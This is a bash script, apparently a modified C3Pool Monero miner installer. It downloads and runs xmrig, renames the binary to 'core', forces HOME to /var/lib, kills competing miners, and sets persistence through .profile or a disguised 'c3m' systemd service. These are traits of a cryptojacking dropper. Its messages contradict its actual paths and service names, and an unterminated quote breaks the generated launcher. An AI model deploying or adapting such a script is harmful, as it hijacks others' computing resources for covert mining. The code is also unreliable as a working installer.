#!/bin/bash

VERSION=2.11
HOME=/var/lib

# printing greetings

echo "C3Pool mining setup script v$VERSION."
echo

if [ "$(id -u)" == "0" ]; then
  echo "WARNING: Generally it is not adviced to run this script under root"
  echo "警告: 不建议在root用户下使用此脚本"
fi

# command line arguments
WALLET=$1
EMAIL=$2 # this one is optional

# checking prerequisites

if [ -z $WALLET ]; then
  echo "Script usage:"
  echo "> setup_c3pool_miner.sh <wallet address> [<your email address>]"
  echo "ERROR: Please specify your wallet address"
  exit 1
fi

WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
if [ ${#WALLET_BASE} != 106 -a ${#WALLET_BASE} != 95 ]; then
  echo "ERROR: Wrong wallet base address length (should be 106 or 95): ${#WALLET_BASE}"
  exit 1
fi

if [ -z $HOME ]; then
  echo "ERROR: Please define HOME environment variable to your home directory"
  exit 1
fi

if [ ! -d $HOME ]; then
  echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:"
  echo '  export HOME=<dir>'
  echo '  export HOME=<dir>'
  exit 1
fi

if ! type curl >/dev/null; then
  echo "ERROR: This script requires \"curl\" utility to work correctly"
  exit 1
fi

if ! type lscpu >/dev/null; then
  echo "WARNING: This script requires \"lscpu\" utility to work correctly"
fi

#if ! sudo -n true 2>/dev/null; then
#  if ! pidof systemd >/dev/null; then
#    echo "ERROR: This script requires systemd to work correctly"
#    exit 1
#  fi
#fi

# calculating port

CPU_THREADS=$(nproc)
EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
if [ -z $EXP_MONERO_HASHRATE ]; then
  echo "ERROR: Can't compute projected Monero CN hashrate"
  exit 1
fi

get_port_based_on_hashrate() {
  local hashrate=$1
  if [ "$hashrate" -le "5000" ]; then
    echo 80
  elif [ "$hashrate" -le "25000" ]; then
    if [ "$hashrate" -gt "5000" ]; then
      echo 13333
    else
      echo 443
    fi
  elif [ "$hashrate" -le "50000" ]; then
    if [ "$hashrate" -gt "25000" ]; then
      echo 15555
    else
      echo 14444
    fi
  elif [ "$hashrate" -le "100000" ]; then
    if [ "$hashrate" -gt "50000" ]; then
      echo 19999
    else
      echo 17777
    fi
  elif [ "$hashrate" -le "1000000" ]; then
    echo 23333
  else
    echo "ERROR: Hashrate too high"
    exit 1
  fi
}

PORT=$(get_port_based_on_hashrate $EXP_MONERO_HASHRATE)
if [ -z $PORT ]; then
  echo "ERROR: Can't compute port"
  exit 1
fi

echo "Computed port: $PORT"


# printing intentions

echo "I will download, setup and run in background Monero CPU miner."
echo "将进行下载设置,并在后台中运行xmrig矿工."
echo "If needed, miner in foreground can be started by $HOME/c3pool/miner.sh script."
echo "如果需要,可以通过以下方法启动前台矿工输出 $HOME/c3pool/miner.sh script."
echo "Mining will happen to $WALLET wallet."
echo "将使用 $WALLET 地址进行开采"
if [ ! -z $EMAIL ]; then
  echo "(and $EMAIL email as password to modify wallet options later at https://c3pool.com site)"
fi
echo

if ! sudo -n true 2>/dev/null; then
  echo "Since I can't do passwordless sudo, mining in background will started from your $HOME/.profile file first time you login this host after reboot."
  echo "由于脚本无法执行无密码的sudo，因此在您重启后首次登录此主机时，后台开采将从您的 $HOME/.profile 文件开始."
else
  echo "Mining in background will be performed using c3pool_miner systemd service."
  echo "后台开采将使用c3pool_miner systemd服务执行."
fi

echo
echo "JFYI: This host has $CPU_THREADS CPU threads with $CPU_MHZ MHz and ${TOTAL_CACHE}KB data cache in total, so projected Monero hashrate is around $EXP_MONERO_HASHRATE H/s."
echo

echo

# start doing stuff: preparing miner

echo "[*] Removing previous c3pool miner (if any)"
echo "[*] 卸载以前的 C3Pool 矿工 (如果存在)"
if sudo -n true 2>/dev/null; then
  sudo systemctl stop c3pool_miner.service
fi
killall -9 xmrig

echo "[*] Removing $HOME/c3pool directory"
rm -rf $HOME/c3pool

echo "[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz"
echo "[*] 下载 C3Pool 版本的 Xmrig 到 /tmp/xmrig.tar.gz 中"
if ! curl -L --progress-bar "https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz; then
  echo "ERROR: Can't download https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz file to /tmp/xmrig.tar.gz"
  echo "发生错误: 无法下载 https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz 文件到 /tmp/xmrig.tar.gz"
  exit 1
fi

if ! command -v tar &> /dev/null; then

    if [ -f /etc/os-release ]; then
        . /etc/os-release
        DISTRO=$ID
    else
        echo "tar。"
        exit 1
    fi

    case $DISTRO in
        ubuntu | debian | linuxmint | pop | raspberrypi)
            sudo apt update
            sudo apt install -y tar
            ;;
        centos | rhel | rocky | almalinux)
            if command -v yum &> /dev/null; then
                sudo yum install -y tar
            elif command -v dnf &> /dev/null; then
                sudo dnf install -y tar
            fi
            ;;
        fedora)
            sudo dnf install -y tar
            ;;
        arch | manjaro)
            sudo pacman -Sy --noconfirm tar
            ;;
        alpine)
            sudo apk add tar
            ;;
        opensuse)
            sudo zypper install -y tar
            ;;
        mageia)
            sudo urpmi tar
            ;;
        *)
            exit 1
            ;;
    esac

fi

echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/c3pool"
echo "[*] 解压 /tmp/xmrig.tar.gz 到 $HOME/c3pool"
[ -d $HOME/xm ] || mkdir $HOME/xm
if ! tar xf /tmp/xmrig.tar.gz -C $HOME/xm; then
  echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/xm directory"
  echo "发生错误: 无法解压 /tmp/xmrig.tar.gz 到 $HOME/xm 目录"
  exit 1
fi
rm /tmp/xmrig.tar.gz

echo "[*] Checking if advanced version of $HOME/xm/xmrig works fine (and not removed by antivirus software)"
echo "[*] 检查目录 $HOME/xm/xmrig 中的xmrig是否运行正常 (或者是否被杀毒软件误杀)"
sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' $HOME/xm/config.json
$HOME/xm/xmrig --help >/dev/null
if (test $? -ne 0); then
  if [ -f $HOME/xm/xmrig ]; then
    echo "WARNING: Advanced version of $HOME/xm/xmrig is not functional"
	echo "警告: 版本 $HOME/xm/xmrig 无法正常工作"
  else
    echo "WARNING: Advanced version of $HOME/xm/xmrig was removed by antivirus (or some other problem)"
	echo "警告: 该目录 $HOME/xm/xmrig 下的xmrig已被杀毒软件删除 (或其它问题)"
  fi

  echo "[*] Looking for the latest version of Monero miner"
  echo "[*] 查看最新版本的 xmrig 挖矿工具"
  LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest  | grep -o '".*"' | sed 's/"//g'`
  LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" |  cut -d \" -f2`

  echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz"
  echo "[*] 下载 $LATEST_XMRIG_LINUX_RELEASE 到 /tmp/xmrig.tar.gz"
  if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then
    echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
	echo "发生错误: 无法下载 $LATEST_XMRIG_LINUX_RELEASE 文件到 /tmp/xmrig.tar.gz"
    exit 1
  fi

  echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/xm"
  echo "[*] 解压 /tmp/xmrig.tar.gz 到 $HOME/xm"
  if ! tar xf /tmp/xmrig.tar.gz -C $HOME/xm --strip=1; then
    echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $HOME/xm directory"
	echo "警告: 无法解压 /tmp/xmrig.tar.gz 到 $HOME/xm 目录下"
  fi
  rm /tmp/xmrig.tar.gz

  echo "[*] Checking if stock version of $HOME/xm/xmrig works fine (and not removed by antivirus software)"
  echo "[*] 检查目录 $HOME/xm/xmrig 中的xmrig是否运行正常 (或者是否被杀毒软件误杀)"
  sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' $HOME/xm/config.json
  $HOME/xm/xmrig --help >/dev/null
  if (test $? -ne 0); then
    if [ -f $HOME/xm/xmrig ]; then
      echo "ERROR: Stock version of $HOME/xm/xmrig is not functional too"
	  echo "发生错误: 该目录中的 $HOME/xm/xmrig 也无法使用"
    else
      echo "ERROR: Stock version of $HOME/xm/xmrig was removed by antivirus too"
	  echo "发生错误: 该目录中的 $HOME/xm/xmrig 已被杀毒软件删除"
    fi
    exit 1
  fi
fi

echo "[*] Miner $HOME/xm/xmrig is OK"
echo "[*] 矿工 $HOME/xm/xmrig 运行正常"

PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
  PASS=`ip route get 1 | awk '{print $NF;exit}'`
fi
if [ -z $PASS ]; then
  PASS=na
fi
if [ ! -z $EMAIL ]; then
  PASS="$PASS:$EMAIL"
fi

mv $HOME/xm/xmrig $HOME/xm/core

cp $HOME/xm/config.json $HOME/xm/config_background.json

sed -i 's/"url": *"[^"]*",/"url": "auto.c3pool.org:'$PORT'",/' $HOME/xm/config.json
sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/xm/config.json
sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/xm/config.json
sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 20,/' $HOME/xm/config.json
sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 20,/' $HOME/xm/config_background.json

sed -i '/"cpu": {/,/}/ {
    /"cn-lite\/0": false/ {
        s/$/,/
        a\
        "max-cpu-usage": 30
    }
}' $HOME/xm/config_background.json

sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 25,/' $HOME/xm/config.json
sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 25,/' $HOME/xm/config_background.json

sed -i 's/"background": *false,/"background": true,/' $HOME/xm/config_background.json

# preparing script

echo "[*] Creating $HOME/xm/miner.sh script"
echo "[*] 在该目录下创建 $HOME/xm/miner.sh 脚本"
cat >$HOME/xm/miner.sh <<EOL
#!/bin/bash
if ! pidof core >/dev/null; then
  nice $HOME/xm/core \$*
else
  echo "Monero miner is already running in the background. Refusing to run another one.
  echo "门罗币矿工已经在后台运行。 拒绝运行另一个."
fi
EOL

chmod +x $HOME/xm/miner.sh

# preparing script background work and work under reboot

if ! sudo -n true 2>/dev/null; then
  if ! grep xm/miner.sh $HOME/.profile >/dev/null; then
    echo "[*] Adding $HOME/xm/miner.sh script to $HOME/.profile"
	echo "[*] 添加 $HOME/xm/miner.sh 到 $HOME/.profile"
    echo "$HOME/xm/miner.sh --config=$HOME/xm/config_background.json >/dev/null 2>&1" >>$HOME/.profile
  else
    echo "Looks like $HOME/xm/miner.sh script is already in the $HOME/.profile"
	echo "脚本 $HOME/xm/miner.sh 已存在于 $HOME/.profile 中."
  fi
  echo "[*] Running miner in the background (see logs in $HOME/xm/core.log file)"
  /bin/bash $HOME/xm/miner.sh --config=$HOME/xm/config_background.json >/dev/null 2>&1
else

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then
    echo "[*] Enabling huge pages"
	echo "[*] 启用 huge pages"
    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
  fi

  if ! type systemctl >/dev/null; then

    echo "[*] Running miner in the background (see logs in $HOME/xm/core.log file)"
    /bin/bash $HOME/xm/miner.sh --config=$HOME/xm/config_background.json >/dev/null 2>&1
    echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
    echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."

  else

    echo "[*] Creating xm systemd service"
    cat >/tmp/c3m.service <<EOL
[Unit]
Description=Monero miner service

[Service]
ExecStart=$HOME/xm/core --config=$HOME/xm/config.json
Restart=always
Nice=10
CPUWeight=1

[Install]
WantedBy=multi-user.target
EOL
    sudo mv /tmp/c3m.service /etc/systemd/system/c3m.service
    echo "[*] Starting xm systemd service"
	echo "[*] xm systemd服务"
    sudo killall xmrig 2>/dev/null
    sudo systemctl daemon-reload
    sudo systemctl enable c3m.service
    sudo systemctl start c3m.service
    echo "To see miner service logs run \"sudo journalctl -u xm -f\" command"
	echo "查看矿工服务日志,请运行 \"sudo journalctl -u xm -f\" 命令"
  fi
fi

echo ""

echo ""
